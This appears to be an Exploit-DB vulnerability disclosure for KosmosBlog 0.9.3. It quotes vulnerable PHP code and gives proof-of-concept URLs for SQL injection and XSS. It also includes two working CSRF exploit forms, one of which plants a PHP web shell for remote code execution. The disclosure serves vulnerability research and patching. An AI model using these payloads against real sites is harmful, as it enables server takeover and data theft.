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vendor:
KosmosBlog
by:
Milos Zivanovic
7,5
CVSS
HIGH
SQL Injection, Cross Site Scripting, Cross Site Request Forgery
89, 79, 352
CWE
Product Name: KosmosBlog
Affected Version From: 0.9.3
Affected Version To: 0.9.3
Patch Exists: NO
Related CWE: N/A
CPE: a:kosmosblog:kosmosblog:0.9.3
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: PHP
2010

KosmosBlog 0.9.3 (SQLi/XSS/CSRF) Multiple Vulnerabilities

KosmosBlog 0.9.3 is vulnerable to SQL Injection, Cross Site Scripting, and Cross Site Request Forgery. The vulnerable code is present in the indextmplt.php, addcontentgo.php, deletecontent.php, usermanager.php, bannedusers.php, and commentsaction.php files. The proof-of-concepts for exploiting these vulnerabilities are provided in the text.

Mitigation:

Input validation should be used to prevent SQL Injection, Cross Site Scripting, and Cross Site Request Forgery attacks. Access control should also be used to restrict access to sensitive files.
Source

Exploit-DB raw data:

[#-----------------------------------------------------------------------------------------------#]
[#] Title: KosmosBlog 0.9.3 (SQLi/XSS/CSRF) Multiple Vulnerabilities
[#] Author: Milos Zivanovic
[#] Email: milosz.security[at]gmail.com<http://gmail.com>
[#] Date: 22. January 2010.
[#-----------------------------------------------------------------------------------------------#]
[#] Application: KosmosBlog
[#] Version: 0.9.3
[#] Platform: PHP
[#] Link: http://www.kosmosblog.com/KosmosBlog%20-%200.9.3.zip
[#] Vulnerability: SQL Injection, Cross Site Scripting, Cross Site Request Forgery
[#-----------------------------------------------------------------------------------------------#]

http://www.kosmosblog.com/index.php

[#]Content
|
|--Everybody
| |--SQL Injection
| | |--index.php (GET kategorija)
| | |--index.php (GET id)
| | |--index.php (GET monthID)
| | |--index.php (GET yearID)
| | |--register.php (POST username & email)
| |
| |--Cross Site Scripting
| |--addcomment.php (GET id)
|
|--Logged in users
|--Persistent Cross Site Scripting
| |--addcontentgo.php (POST naslov)
|
|--SQL Injection
| |--deletecontent.php (GET id)
| |--usermanager.php (GET id)
|
|--Cross Site Request Forgery To Remote Code Execution
| |--bannedusers.php
|
|--Cross Site Request Forgery To SQL Injection
|--commentsaction.php

[~] EVERYBODY

[*] SQL INJECTION

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/mainincludes/templates/blackkosmos/indextmplt.php
if (isset($_GET['kategorija'])) {
generisivesti($_GET['kategorija']);
} elseif (isset($_GET['id'])) {
generisivesti(0,$_GET['id'],0);
// function generisivesti does not sanitize input variable before passing it to mysql query
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]index.php (GET kategorija)

[POC----------------------------------------------------------------------------------------------]
http://kosmos/index.php?kategorija=[SQL_Injection]
[POC----------------------------------------------------------------------------------------------]

[-]index.php (GET id)

[POC----------------------------------------------------------------------------------------------]
http://kosmos/index.php?id=1'[SQL_Injection]
[POC----------------------------------------------------------------------------------------------]

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/funkcije.php
if (isset($_GET['yearID']))
{
$date_yearID = $_GET['yearID'];
} else {
$date_yearID = $date['year'];
}

if (isset($_GET['monthID']))
{
$date_monthID = $_GET['monthID'];
} else {
$date_monthID = $date['month'];
}
....
$eventQuery = mysql_query("... LIKE '".$date_yearID."-".$date_monthID...);
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]index.php (GET monthID)

[POC----------------------------------------------------------------------------------------------]
http://kosmos/index.php?yearID=2010&monthID=2'[SQL_Injection]
[POC----------------------------------------------------------------------------------------------]

[-]index.php (GET yearID)

[POC----------------------------------------------------------------------------------------------]
http://kosmos/index.php?yearID=2010'[SQL_Injection]&monthID=2
[POC----------------------------------------------------------------------------------------------]

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/register.php
$userN = $_POST['user'];
...
$mail = $_POST['mail'];
...
mysql_query("... VALUES('$userN', '$loz', '$mail', ...
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]register.php (POST username & email)

[POC----------------------------------------------------------------------------------------------]
http://kosmos/register.php
[POC----------------------------------------------------------------------------------------------]

In username and email fields we can inject our SQL code.


[*] CROSS SITE SCRIPTING

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/addcomment.php
if ($_GET['page'] == 'add'){
$link = "../index.php?id=".$_GET['id'];
}
?>
...
<META HTTP-EQUIV="refresh" content="3;URL=<?php echo $link; ?>">
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]addcomment.php (GET id)

[POC----------------------------------------------------------------------------------------------]
http://kosmos/administration/addcomment.php?page=add&id="[XSS]
[POC----------------------------------------------------------------------------------------------]


[~] LOGGED IN USERS

[*] PERSISTENT CROSS SITE SCRIPTING

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/addcontentgo.php
switch ($_POST['type']) {
case "blogpost":
$title = $_POST['title'];
...
$sql = "INSERT INTO main_kosmos_blog SET naslov = '$title'...
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]addcontentgo.php (POST naslov)

When adding new post to blog, field 'naslov' is not sanitized. Here can also be used SQL Injection but, there are much better positions for SQLi attack, so i've chosen Persistent XSS for this one.


[*] SQL INJECTION

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/deletecontent.php
$id = $_GET['id'];
...
$result = @mysql_query("SELECT * FROM main_kosmos_blog WHERE id = '".$id."' ;");
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]deletecontent.php (GET id)

[POC----------------------------------------------------------------------------------------------]
http://kosmos/administration/deletecontent.php?action=blogpost&id=1'[SQL_Injection]
[POC----------------------------------------------------------------------------------------------]

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/usermanager.php
$result3 = @mysql_query(...`users_kosmos_blog` WHERE id='".$_GET['id']...
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]usermanager.php (GET id)

[POC----------------------------------------------------------------------------------------------]
http://kosmos/administration/usermanager.php?action=obradi&id=1'[SQL_Injection]
[POC----------------------------------------------------------------------------------------------]


[*] CROSS SITE REQUEST FORGERY TO REMOTE CODE EXECUTION

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/bannedusers.php
$file=fopen("mainincludes/bannedusers.php","w");
$banned = $_POST['banned'];
fwrite ($file,$banned);
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]bannedusers.php

[EXPLOIT------------------------------------------------------------------------------------------]
<form method="post" action="http://kosmos/administration/bannedusers.php?action=process">
<input type="hidden" name="banned" value="<?php @system($_GET['cmd']); ?>">
<input type="hidden" name="type" value="link">
<input type="submit" name="submit" value="Snimi">
</form>
[EXPLOIT------------------------------------------------------------------------------------------]

After logged in user run this exploit, php code will be written into .php file and it will be ready to execute. File to run after successful exploitation:
http://kosmos/administration/mainincludes/bannedusers.php


[*] CROSS SITE REQUEST FORGERY TO SQL INJECTION

Vulnerable Code:

[VULNERABLE CODE----------------------------------------------------------------------------------]
// /kosmos/administration/commentsaction.php
$id = $_POST['ids'];
...
for ($i = 0; $i < count($id); $i++) {
$idd = $id[$i];
...
$sql = "DELETE FROM `comments_kosmos_blog` WHERE id='".$idd."'";
[VULNERABLE CODE----------------------------------------------------------------------------------]

[-]commentsaction.php

[EXPLOIT------------------------------------------------------------------------------------------]
<form method="post" action="http://kosmos/administration/commentsaction.php">
<input type="hidden" name="action" value="Obriši">
<input type="hidden" name="ids[]" value="1'[SQL_Injection]">
<input type="submit" name="submit">
</form>
[EXPLOIT------------------------------------------------------------------------------------------]

[#]EOF

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